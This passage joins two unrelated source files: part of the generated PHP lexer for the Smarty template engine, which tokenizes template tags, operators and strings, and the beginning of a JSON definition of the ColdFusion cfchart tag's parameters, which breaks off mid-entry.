$_yy_stack = array(); function yylex() { return $this->{'yylex' . $this->_yy_state}(); } function yypushstate($state) { array_push($this->_yy_stack, $this->_yy_state); $this->_yy_state = $state; } function yypopstate() { $this->_yy_state = array_pop($this->_yy_stack); } function yybegin($state) { $this->_yy_state = $state; } function yylex1() { $tokenMap = array ( 1 => 0, 2 => 0, 3 => 1, 5 => 0, 6 => 0, 7 => 0, 8 => 0, 9 => 0, 10 => 0, 11 => 0, 12 => 1, 14 => 0, 15 => 0, 16 => 0, 17 => 0, 18 => 0, 19 => 0, 20 => 0, 21 => 0, 22 => 0, 23 => 0, 24 => 2, 27 => 0, 28 => 0, ); if ($this->counter >= strlen($this->data)) { return false; // end of input } $yy_global_pattern = "/\G(".$this->ldel."[$]smarty\\.block\\.child".$this->rdel.")|\G(\\{\\})|\G(".$this->ldel."\\*([\S\s]*?)\\*".$this->rdel.")|\G([\t ]*[\r\n]+[\t ]*)|\G(".$this->ldel."strip".$this->rdel.")|\G(".$this->ldel."\\s{1,}strip\\s{1,}".$this->rdel.")|\G(".$this->ldel."\/strip".$this->rdel.")|\G(".$this->ldel."\\s{1,}\/strip\\s{1,}".$this->rdel.")|\G(".$this->ldel."\\s*literal\\s*".$this->rdel.")|\G(".$this->ldel."\\s{1,}\/)|\G(".$this->ldel."\\s*(if|elseif|else if|while)\\s+)|\G(".$this->ldel."\\s*for\\s+)|\G(".$this->ldel."\\s*foreach(?![^\s]))|\G(".$this->ldel."\\s*setfilter\\s+)|\G(".$this->ldel."\\s{1,})|\G(".$this->ldel."\/)|\G(".$this->ldel.")|\G(<\\?(?:php\\w+|=|[a-zA-Z]+)?)|\G(\\?>)|\G(<%)|\G(%>)|\G(([\S\s]*?)(?=([\t ]*[\r\n]+[\t ]*|".$this->ldel."|<\\?|\\?>|<%|%>)))|\G([\S\s]+)|\G(.)/iS"; do { if ($this->mbstring_overload ? preg_match($yy_global_pattern, substr($this->data, $this->counter), $yymatches) : preg_match($yy_global_pattern,$this->data, $yymatches, null, $this->counter)) { $yysubmatches = $yymatches; $yymatches = array_filter($yymatches, 'strlen'); // remove empty sub-patterns if (!count($yymatches)) { throw new Exception('Error: lexing failed because a rule matched' . ' an empty string. Input "' . substr($this->data, $this->counter, 5) . '... state TEXT'); } next($yymatches); // skip global match $this->token = key($yymatches); // token number if ($tokenMap[$this->token]) { // extract sub-patterns for passing to lex function $yysubmatches = array_slice($yysubmatches, $this->token + 1, $tokenMap[$this->token]); } else { $yysubmatches = array(); } $this->value = current($yymatches); // token value $r = $this->{'yy_r1_' . $this->token}($yysubmatches); if ($r === null) { $this->counter += strlen($this->value); $this->line += substr_count($this->value, "\n"); // accept this token return true; } elseif ($r === true) { // we have changed state // process this token in the new state return $this->yylex(); } elseif ($r === false) { $this->counter += strlen($this->value); $this->line += substr_count($this->value, "\n"); if ($this->counter >= strlen($this->data)) { return false; // end of input } // skip this token continue; } } else { throw new Exception('Unexpected input at line' . $this->line . ': ' . $this->data[$this->counter]); } break; } while (true); } // end function const TEXT = 1; function yy_r1_1($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_SMARTYBLOCKCHILD; } function yy_r1_2($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } function yy_r1_3($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_COMMENT; } function yy_r1_5($yy_subpatterns) { if ($this->strip) { return false; } else { $this->token = Smarty_Internal_Templateparser::TP_LINEBREAK; } } function yy_r1_6($yy_subpatterns) { $this->strip = true; return false; } function yy_r1_7($yy_subpatterns) { if ($this->smarty->auto_literal) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->strip = true; return false; } } function yy_r1_8($yy_subpatterns) { $this->strip = false; return false; } function yy_r1_9($yy_subpatterns) { if ($this->smarty->auto_literal) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->strip = false; return false; } } function yy_r1_10($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LITERALSTART; $this->yypushstate(self::LITERAL); } function yy_r1_11($yy_subpatterns) { if ($this->smarty->auto_literal) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELSLASH; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r1_12($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELIF; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r1_14($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELFOR; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r1_15($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELFOREACH; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r1_16($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELSETFILTER; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r1_17($yy_subpatterns) { if ($this->smarty->auto_literal) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDEL; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r1_18($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LDELSLASH; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } function yy_r1_19($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LDEL; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } function yy_r1_20($yy_subpatterns) { if (in_array($this->value, Array('<?', '<?=', '<?php'))) { $this->token = Smarty_Internal_Templateparser::TP_PHPSTARTTAG; } elseif ($this->value == '<?xml') { $this->token = Smarty_Internal_Templateparser::TP_XMLTAG; } else { $this->token = Smarty_Internal_Templateparser::TP_FAKEPHPSTARTTAG; $this->value = substr($this->value, 0, 2); } } function yy_r1_21($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_PHPENDTAG; } function yy_r1_22($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ASPSTARTTAG; } function yy_r1_23($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ASPENDTAG; } function yy_r1_24($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } function yy_r1_27($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } function yy_r1_28($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } function yylex2() { $tokenMap = array ( 1 => 0, 2 => 0, 3 => 1, 5 => 0, 6 => 0, 7 => 0, 8 => 0, 9 => 0, 10 => 0, 11 => 0, 12 => 0, 13 => 0, 14 => 0, 15 => 0, 16 => 0, 17 => 0, 18 => 0, 19 => 0, 20 => 1, 22 => 1, 24 => 1, 26 => 0, 27 => 0, 28 => 0, 29 => 0, 30 => 0, 31 => 0, 32 => 0, 33 => 0, 34 => 0, 35 => 0, 36 => 0, 37 => 0, 38 => 0, 39 => 0, 40 => 0, 41 => 0, 42 => 0, 43 => 3, 47 => 0, 48 => 0, 49 => 0, 50 => 0, 51 => 0, 52 => 0, 53 => 0, 54 => 0, 55 => 1, 57 => 1, 59 => 0, 60 => 0, 61 => 0, 62 => 0, 63 => 0, 64 => 0, 65 => 0, 66 => 0, 67 => 0, 68 => 0, 69 => 0, 70 => 0, 71 => 0, 72 => 0, 73 => 0, 74 => 0, 75 => 0, 76 => 0, ); if ($this->counter >= strlen($this->data)) { return false; // end of input } $yy_global_pattern = "/\G('[^'\\\\]*(?:\\\\.[^'\\\\]*)*')|\G(".$this->ldel."\\s{1,}\/)|\G(".$this->ldel."\\s*(if|elseif|else if|while)\\s+)|\G(".$this->ldel."\\s*for\\s+)|\G(".$this->ldel."\\s*foreach(?![^\s]))|\G(".$this->ldel."\\s{1,})|\G(\\s{1,}".$this->rdel.")|\G(".$this->ldel."\/)|\G(".$this->ldel.")|\G(".$this->rdel.")|\G(\\s+is\\s+in\\s+)|\G(\\s+as\\s+)|\G(\\s+to\\s+)|\G(\\s+step\\s+)|\G(\\s+instanceof\\s+)|\G(\\s*===\\s*)|\G(\\s*!==\\s*)|\G(\\s*==\\s*|\\s+eq\\s+)|\G(\\s*!=\\s*|\\s*<>\\s*|\\s+(ne|neq)\\s+)|\G(\\s*>=\\s*|\\s+(ge|gte)\\s+)|\G(\\s*<=\\s*|\\s+(le|lte)\\s+)|\G(\\s*>\\s*|\\s+gt\\s+)|\G(\\s*<\\s*|\\s+lt\\s+)|\G(\\s+mod\\s+)|\G(!\\s*|not\\s+)|\G(\\s*&&\\s*|\\s*and\\s+)|\G(\\s*\\|\\|\\s*|\\s*or\\s+)|\G(\\s*xor\\s+)|\G(\\s+is\\s+odd\\s+by\\s+)|\G(\\s+is\\s+not\\s+odd\\s+by\\s+)|\G(\\s+is\\s+odd)|\G(\\s+is\\s+not\\s+odd)|\G(\\s+is\\s+even\\s+by\\s+)|\G(\\s+is\\s+not\\s+even\\s+by\\s+)|\G(\\s+is\\s+even)|\G(\\s+is\\s+not\\s+even)|\G(\\s+is\\s+div\\s+by\\s+)|\G(\\s+is\\s+not\\s+div\\s+by\\s+)|\G(\\((int(eger)?|bool(ean)?|float|double|real|string|binary|array|object)\\)\\s*)|\G(\\s*\\(\\s*)|\G(\\s*\\))|\G(\\[\\s*)|\G(\\s*\\])|\G(\\s*->\\s*)|\G(\\s*=>\\s*)|\G(\\s*=\\s*)|\G(\\+\\+|--)|\G(\\s*(\\+|-)\\s*)|\G(\\s*(\\*|\/|%)\\s*)|\G(\\$)|\G(\\s*;)|\G(::)|\G(\\s*:\\s*)|\G(@)|\G(#)|\G(\")|\G(`)|\G(\\|)|\G(\\.)|\G(\\s*,\\s*)|\G(\\s*&\\s*)|\G(\\s*\\?\\s*)|\G(0[xX][0-9a-fA-F]+)|\G([0-9]*[a-zA-Z_]\\w*)|\G(\\d+)|\G(\\s+)|\G(.)/iS"; do { if ($this->mbstring_overload ? preg_match($yy_global_pattern, substr($this->data, $this->counter), $yymatches) : preg_match($yy_global_pattern,$this->data, $yymatches, null, $this->counter)) { $yysubmatches = $yymatches; $yymatches = array_filter($yymatches, 'strlen'); // remove empty sub-patterns if (!count($yymatches)) { throw new Exception('Error: lexing failed because a rule matched' . ' an empty string. Input "' . substr($this->data, $this->counter, 5) . '... state SMARTY'); } next($yymatches); // skip global match $this->token = key($yymatches); // token number if ($tokenMap[$this->token]) { // extract sub-patterns for passing to lex function $yysubmatches = array_slice($yysubmatches, $this->token + 1, $tokenMap[$this->token]); } else { $yysubmatches = array(); } $this->value = current($yymatches); // token value $r = $this->{'yy_r2_' . $this->token}($yysubmatches); if ($r === null) { $this->counter += strlen($this->value); $this->line += substr_count($this->value, "\n"); // accept this token return true; } elseif ($r === true) { // we have changed state // process this token in the new state return $this->yylex(); } elseif ($r === false) { $this->counter += strlen($this->value); $this->line += substr_count($this->value, "\n"); if ($this->counter >= strlen($this->data)) { return false; // end of input } // skip this token continue; } } else { throw new Exception('Unexpected input at line' . $this->line . ': ' . $this->data[$this->counter]); } break; } while (true); } // end function const SMARTY = 2; function yy_r2_1($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_SINGLEQUOTESTRING; } function yy_r2_2($yy_subpatterns) { if ($this->smarty->auto_literal) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELSLASH; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r2_3($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELIF; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r2_5($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELFOR; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r2_6($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELFOREACH; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r2_7($yy_subpatterns) { if ($this->smarty->auto_literal) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDEL; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r2_8($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_RDEL; $this->yypopstate(); } function yy_r2_9($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LDELSLASH; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } function yy_r2_10($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LDEL; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } function yy_r2_11($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_RDEL; $this->yypopstate(); } function yy_r2_12($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISIN; } function yy_r2_13($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_AS; } function yy_r2_14($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_TO; } function yy_r2_15($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_STEP; } function yy_r2_16($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_INSTANCEOF; } function yy_r2_17($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_IDENTITY; } function yy_r2_18($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_NONEIDENTITY; } function yy_r2_19($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_EQUALS; } function yy_r2_20($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_NOTEQUALS; } function yy_r2_22($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_GREATEREQUAL; } function yy_r2_24($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LESSEQUAL; } function yy_r2_26($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_GREATERTHAN; } function yy_r2_27($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LESSTHAN; } function yy_r2_28($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_MOD; } function yy_r2_29($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_NOT; } function yy_r2_30($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LAND; } function yy_r2_31($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LOR; } function yy_r2_32($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LXOR; } function yy_r2_33($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISODDBY; } function yy_r2_34($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISNOTODDBY; } function yy_r2_35($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISODD; } function yy_r2_36($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISNOTODD; } function yy_r2_37($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISEVENBY; } function yy_r2_38($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISNOTEVENBY; } function yy_r2_39($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISEVEN; } function yy_r2_40($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISNOTEVEN; } function yy_r2_41($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISDIVBY; } function yy_r2_42($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ISNOTDIVBY; } function yy_r2_43($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_TYPECAST; } function yy_r2_47($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OPENP; } function yy_r2_48($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_CLOSEP; } function yy_r2_49($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OPENB; } function yy_r2_50($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_CLOSEB; } function yy_r2_51($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_PTR; } function yy_r2_52($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_APTR; } function yy_r2_53($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_EQUAL; } function yy_r2_54($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_INCDEC; } function yy_r2_55($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_UNIMATH; } function yy_r2_57($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_MATH; } function yy_r2_59($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_DOLLAR; } function yy_r2_60($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_SEMICOLON; } function yy_r2_61($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_DOUBLECOLON; } function yy_r2_62($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_COLON; } function yy_r2_63($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_AT; } function yy_r2_64($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_HATCH; } function yy_r2_65($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_QUOTE; $this->yypushstate(self::DOUBLEQUOTEDSTRING); } function yy_r2_66($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_BACKTICK; $this->yypopstate(); } function yy_r2_67($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_VERT; } function yy_r2_68($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_DOT; } function yy_r2_69($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_COMMA; } function yy_r2_70($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ANDSYM; } function yy_r2_71($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_QMARK; } function yy_r2_72($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_HEX; } function yy_r2_73($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ID; } function yy_r2_74($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_INTEGER; } function yy_r2_75($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_SPACE; } function yy_r2_76($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } function yylex3() { $tokenMap = array ( 1 => 0, 2 => 0, 3 => 0, 4 => 0, 5 => 0, 6 => 0, 7 => 0, 8 => 2, 11 => 0, ); if ($this->counter >= strlen($this->data)) { return false; // end of input } $yy_global_pattern = "/\G(".$this->ldel."\\s*literal\\s*".$this->rdel.")|\G(".$this->ldel."\\s*\/literal\\s*".$this->rdel.")|\G([\t ]*[\r\n]+[\t ]*)|\G(<\\?(?:php\\w+|=|[a-zA-Z]+)?)|\G(\\?>)|\G(<%)|\G(%>)|\G(([\S\s]*?)(?=([\t ]*[\r\n]+[\t ]*|".$this->ldel."\/?literal".$this->rdel."|<\\?|<%)))|\G(.)/iS"; do { if ($this->mbstring_overload ? preg_match($yy_global_pattern, substr($this->data, $this->counter), $yymatches) : preg_match($yy_global_pattern,$this->data, $yymatches, null, $this->counter)) { $yysubmatches = $yymatches; $yymatches = array_filter($yymatches, 'strlen'); // remove empty sub-patterns if (!count($yymatches)) { throw new Exception('Error: lexing failed because a rule matched' . ' an empty string. Input "' . substr($this->data, $this->counter, 5) . '... state LITERAL'); } next($yymatches); // skip global match $this->token = key($yymatches); // token number if ($tokenMap[$this->token]) { // extract sub-patterns for passing to lex function $yysubmatches = array_slice($yysubmatches, $this->token + 1, $tokenMap[$this->token]); } else { $yysubmatches = array(); } $this->value = current($yymatches); // token value $r = $this->{'yy_r3_' . $this->token}($yysubmatches); if ($r === null) { $this->counter += strlen($this->value); $this->line += substr_count($this->value, "\n"); // accept this token return true; } elseif ($r === true) { // we have changed state // process this token in the new state return $this->yylex(); } elseif ($r === false) { $this->counter += strlen($this->value); $this->line += substr_count($this->value, "\n"); if ($this->counter >= strlen($this->data)) { return false; // end of input } // skip this token continue; } } else { throw new Exception('Unexpected input at line' . $this->line . ': ' . $this->data[$this->counter]); } break; } while (true); } // end function const LITERAL = 3; function yy_r3_1($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LITERALSTART; $this->yypushstate(self::LITERAL); } function yy_r3_2($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LITERALEND; $this->yypopstate(); } function yy_r3_3($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LITERAL; } function yy_r3_4($yy_subpatterns) { if (in_array($this->value, Array('<?', '<?=', '<?php'))) { $this->token = Smarty_Internal_Templateparser::TP_PHPSTARTTAG; } else { $this->token = Smarty_Internal_Templateparser::TP_FAKEPHPSTARTTAG; $this->value = substr($this->value, 0, 2); } } function yy_r3_5($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_PHPENDTAG; } function yy_r3_6($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ASPSTARTTAG; } function yy_r3_7($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_ASPENDTAG; } function yy_r3_8($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LITERAL; } function yy_r3_11($yy_subpatterns) { $this->compiler->trigger_template_error ("missing or misspelled literal closing tag"); } function yylex4() { $tokenMap = array ( 1 => 0, 2 => 1, 4 => 0, 5 => 0, 6 => 0, 7 => 0, 8 => 0, 9 => 0, 10 => 0, 11 => 0, 12 => 0, 13 => 3, 17 => 0, 18 => 0, ); if ($this->counter >= strlen($this->data)) { return false; // end of input } $yy_global_pattern = "/\G(".$this->ldel."\\s{1,}\/)|\G(".$this->ldel."\\s*(if|elseif|else if|while)\\s+)|\G(".$this->ldel."\\s*for\\s+)|\G(".$this->ldel."\\s*foreach(?![^\s]))|\G(".$this->ldel."\\s{1,})|\G(".$this->ldel."\/)|\G(".$this->ldel.")|\G(\")|\G(`\\$)|\G(\\$[0-9]*[a-zA-Z_]\\w*)|\G(\\$)|\G(([^\"\\\\]*?)((?:\\\\.[^\"\\\\]*?)*?)(?=(".$this->ldel."|\\$|`\\$|\")))|\G([\S\s]+)|\G(.)/iS"; do { if ($this->mbstring_overload ? preg_match($yy_global_pattern, substr($this->data, $this->counter), $yymatches) : preg_match($yy_global_pattern,$this->data, $yymatches, null, $this->counter)) { $yysubmatches = $yymatches; $yymatches = array_filter($yymatches, 'strlen'); // remove empty sub-patterns if (!count($yymatches)) { throw new Exception('Error: lexing failed because a rule matched' . ' an empty string. Input "' . substr($this->data, $this->counter, 5) . '... state DOUBLEQUOTEDSTRING'); } next($yymatches); // skip global match $this->token = key($yymatches); // token number if ($tokenMap[$this->token]) { // extract sub-patterns for passing to lex function $yysubmatches = array_slice($yysubmatches, $this->token + 1, $tokenMap[$this->token]); } else { $yysubmatches = array(); } $this->value = current($yymatches); // token value $r = $this->{'yy_r4_' . $this->token}($yysubmatches); if ($r === null) { $this->counter += strlen($this->value); $this->line += substr_count($this->value, "\n"); // accept this token return true; } elseif ($r === true) { // we have changed state // process this token in the new state return $this->yylex(); } elseif ($r === false) { $this->counter += strlen($this->value); $this->line += substr_count($this->value, "\n"); if ($this->counter >= strlen($this->data)) { return false; // end of input } // skip this token continue; } } else { throw new Exception('Unexpected input at line' . $this->line . ': ' . $this->data[$this->counter]); } break; } while (true); } // end function const DOUBLEQUOTEDSTRING = 4; function yy_r4_1($yy_subpatterns) { if ($this->smarty->auto_literal) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELSLASH; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r4_2($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELIF; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r4_4($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELFOR; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r4_5($yy_subpatterns) { if ($this->smarty->auto_literal && trim(substr($this->value,$this->ldel_length,1)) == '') { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDELFOREACH; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r4_6($yy_subpatterns) { if ($this->smarty->auto_literal) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } else { $this->token = Smarty_Internal_Templateparser::TP_LDEL; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } } function yy_r4_7($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LDELSLASH; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } function yy_r4_8($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_LDEL; $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } function yy_r4_9($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_QUOTE; $this->yypopstate(); } function yy_r4_10($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_BACKTICK; $this->value = substr($this->value,0,-1); $this->yypushstate(self::SMARTY); $this->taglineno = $this->line; } function yy_r4_11($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_DOLLARID; } function yy_r4_12($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } function yy_r4_13($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } function yy_r4_17($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } function yy_r4_18($yy_subpatterns) { $this->token = Smarty_Internal_Templateparser::TP_OTHER; } } ?>
{ "pile_set_name": "Github" }
{ "name":"cfchart", "type":"tag", "syntax":"<cfchart>", "related":["cfchartseries","cfchartdata"], "description":"Generates and displays a chart.", "params": [ {"name":"format","description":"File format in which to save graph. `format=flash` has been deprecated in CF2016+","required":false,"default":false,"type":"string","values":["flash","jpg","png"]}, {"name":"chartheight","description":"Chart height; integer number of pixels","required":false,"default":240,"type":"numeric","values":[]}, {"name":"chartwidth","description":"Chart width; integer number of pixels","required":false,"default":320,"type":"numeric","values":[]}, {"name":"scalefrom","description":"Y-axis minimum value; integer","required":false,"default":"","type":"numeric","values":[]}, {"name":"scaleto","description":"Y-axis max value; integer","required":false,"default":"","type":"numeric","values":[]}, {"name":"showxgridlines","description":"yes: display X-axis gridlines","required":false,"default":false,"type":"boolean","values":[true,false]}, {"name":"showygridlines","description":"yes: display Y-axis gridlines","required":false,"default":true,"type":"boolean","values":[true,false]}, {"name":"gridlines","description":"Number of grid lines to display on value axis, including\n axis; positive integer.","required":false,"default":10,"type":"numeric","values":[]}, {"name":"seriesplacement","description":"Applies to charts that have more than one data series.\n Relative positions of series.","required":false,"default":"default","type":"string","values":["default","cluster","stacked","percent"]}, {"name":"foregroundcolor","description":"color for control. For a hex value, use the form:\n textColor = \"##xxxxxx\", where x = 0-9 or A-F; use two hash\n signs or none.","required":false,"default":"black","type":"string","values":["black","red","blue","magenta","cyan","orange","darkgray","pink","white","lightgray","yellow"]}, {"name":"backgroundcolor","description":"Color of the area between the data background and the chart\n border, around labels and around the legend. Hexadecimal\n value or supported named color. For a hex value, use the form:\n textColor = \"##xxxxxx\", where x = 0-9 or A-F; use two hash\n signs or none.","required":false,"default":"","type":"string","values":["black","red","blue","magenta","cyan","orange","darkgray","pink","white","lightgray","yellow"]}, {"name":"showborder","description":"Whether to display a border around the chart","required":false,"default":false,"type":"boolean","values":[true,false]}, {"name":"databackgroundcolor","description":"color for control. For a hex value, use the form:\n textColor = \"##xxxxxx\", where x = 0-9 or A-F; use two hash\n signs or none.","required":false,"default":"white","type":"string","values":["black","red","blue","magenta","cyan","orange","darkgray","pink","white","lightgray","yellow"]}, {"name":"font","description":"Font of data in column.","required":false,"default":"arial","type":"string","values":["arial","times","courier","arialunicodeMS"]}, {"name":"fontsize","description":"Size of text in column.","required":false,"default":"","type":"numeric","values":[]}, {"name":"fontitalic","description":"Yes: displays grid control text in italics","required":false,"default":false,"type":"boolean","values":[true,false]}, {"name":"fontbold","description":"Yes: displays grid control text in bold","required":false,"default":false,"type":"boolean","values":[true,false]}, {"name":"labelformat","description":"Format for Y-axis labels.","required":false,"default":"number","type":"string","values":["number","currency","percent","date"]}, {"name":"xaxistitle","description":"text; 